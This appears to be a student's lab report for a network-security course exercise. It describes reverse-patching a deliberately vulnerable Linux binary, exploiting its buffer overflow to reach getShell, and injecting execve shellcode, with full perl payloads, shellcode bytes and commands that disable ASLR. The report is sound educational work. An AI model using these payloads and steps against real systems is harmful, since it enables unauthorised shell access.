NetSec2019 20165327 Exp1 PC平台逆向破解
NetSec2019 20165327 Exp1 PC平台逆向破解
一、实践目标
本次实践的对象是一个名为pwn1(实验中用的
是5327pwnx)的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
二、实践内容
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3、注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
1、运行原本不可访问的代码片段
2、强行修改程序执行流
3、以及注入运行任意代码。
基础知识
熟悉Linux基本操作能看懂常用指令,如管道(|),输入、输出重定向(>)等。
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
三、实验步骤
一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
输入指令objdump -d 5327pwn1 | more反汇编5327pwn1文件
由图main函数中的call 804891机器码为e8 d7 ff ff ff。foo函数的地址为08048491,getshell函数的地址为0804847d,通过计算其对应关系(小端机器)
0x08048491 - 0x0804847d = 0x00000014 (计算地址差)
0xffffffd7 - 0x00000014 = 0xffffffc3 (计算要修改的目标地址)
输入指令vi 5327pwn1打开文件
文件以ASCII码的形式出现
输入 :%!xxd 通过调用命令行,将文件转换为16进制查看
使用 /d7 命令寻找e8d7ffffff机器指令所在位置
输入i进入插入模式,将d7修改为c3
输入:%!xxd-r将文件转换为ASCII码形式(remember it!)输入:wq保存并退出
此时输入指令objdump -d 5327pwn1 | more查看,可以发现5327pwn1文件已经被修改了
运行5327pwn1文件和5327pwn0文件可看到攻击成功的效果图。
二 、通过构造输入参数,造成BOF攻击,改变程序执行流
5327pwn2正常运行是调用函数foo,但是这个函数有Bufferoverflow漏洞。系统只预留了一定字节的缓冲区给读入的字符串,超出部分会造成溢出,此实验目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。
输入指令objdump -d 5327pwn2 查看,计算要达到缓冲区溢出说需要输入的字符数
由图推测需要输入大约32字节接着对其验证
打开一个终端进入gdb,输入字符串1111111122222222333333334444444412345555,观察一下各寄存器的值
从上图可以看到eip寄存器中的值为0x34333231,对应字符串中的1234。
由此可见,如果输入字符串1111111122222222333333334444444412345555,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getshell 的内存地址,输给5327pwn2,5327pwn2就会运行getshell。
getshell函数的地址为:0x0804847d,由于输入字符串时是以ASCII码输入,因此要转换为\x7d\x84\x04\x08,并需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF.1
输入xxd BOF.1查看内容
通过管道符|,作为5327pwn2的输入,格式为(cat BOF.1; cat ) | ./5327pwn2。
三 、注入Shellcode并运行攻击
原理:shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
输入指令apt-get install execstack安装execstack
并设置堆栈可执行:
execstack -s pwn3 (设置堆栈可执行)
execstack -q pwn3 (查询文件的堆栈是否可执行)
关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space (查看随机化是否关闭)
echo "0" > /proc/sys/kernel/randomize_va_space(关闭随机化)
(“2”为开启,“0”为关闭)
这时需要注入一段代码,我们首先构造一个input_shellcode:
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
在一个窗口运行(cat input_shellcode;cat) | ./5327pwn3
在另外一个窗口ps -ef | grep pwn能看见当前运行5327pwn3的进程号为36054;
在gdb里面attach 36054进行调试
disassemble foo反编译
可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae
在另一个终端按回车,这样程序就会执行之后在断点处停下来
再在gdb调试的终端输入 c 继续运行程序
info r esp查看esp寄存器地址
通过x/16x 0xffffd2fc以16进制形式查看0xffffd2fc地址后面16字节的内容
从上图中看到01020304所在的地址为0xffffd2fc,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd2fc + 0x00000004 = 0xffffd300。随后退出gdb调试。
修改注入代码的覆盖地址
perl -e 'print "A" x 32;print"\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
输入命令(cat input_shellcode;cat) | ./5327pwn3
由图可见注入shellcode成功
四、遇到的问题
很弱智的问题,开始一时慌张无从下手,后来才知道根据提示直接走就行。
五、实验收获与感想
收获:周一看老师演示了一遍,一知半解,现在自己跟着教程走了一遍更加熟悉了一点。但是要想真正理解还需要继续探索。
什么是漏洞?漏洞有什么危害?
漏洞:潜在的危险区域。存在于计算机系统中(硬件、软件、数据库、网络……)的、可能对系统中的组成和数据等造成损害的一切因素。
危害:对计算机:让程序、计算机无法正常运行甚至崩溃;对个人:使个人信息收到侵害,数据信息泄露、无法正常生活;对国家社会:使得国家安全收到威胁,社会治安得不到保证。
NetSec2019 20165327 Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
随机推荐
- 用php实现斐波那契数列,如: 1, 1, 2, 3, 5, 8, 13, 21, 34。用数组求出第20个数的值。
<?php //用数组 function fib($n){ $array = array(); $array[0] = 1; $array[1] = 1; for($i=2;$i<$n;$ ...
- zuul 自定义路由规则
1,zuul的maven配置 <!--spring cloud 相关包--><parent> <groupId>org.springframework.boot&l ...
- Python 嘉宾列表问题
某书上的练习题,当作复习8 #3-5 修改嘉宾名单 def alter(someone, other): if someone in din_list: din_list.remove(someone ...
- Linux基础命令---tload显示系统负载
tload tload指令以字符的方式显示当前系统的平均负载情况. 此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.Fedora.SUSE.openSUSE. 1.语法 ...
- Oracle免安装绿色版-PLSQL连接报12154
在环境变量添加 TNS_ADMIN 值是你的免安装客户端中sqlnet.ora tnsnames.ora 所在的目录 参考地址:https://blog.csdn.net/feng_na/art ...
- Java第一次实训课
//1.1 声明一个整型变量a,并赋初值5,在程序中判断a是奇数还是偶数,然后输出判断的结果. package mingye; public class Exc { public static voi ...
- C博客作业02--循环结构
1. 本章学习总结 1.1 思维导图 1.2 本章学习体会及代码量学习体会 1.2.1 学习体会 这两周学习了循环结构,加上之前就有学的for循环,一共三种循环,都有各自适用的情况.do while适 ...
- mysql_study_1
创建数据库 创建表 数据类型 插入数据的几种方法 约束 代码 CREATE DATABASE mysql_shiyan; use mysql_shiyan; CREATE TABLE departme ...
- 自制操作系统Antz(8)——实现内核 (中) 扩展内核
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html 在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作 ...
- shell实现rpm -e 一键卸载所有相关包以及依赖
原理也比较简单, 刚好用到就稍微写了一下, 做个笔记 #!/bin/bash #************************************************************ ...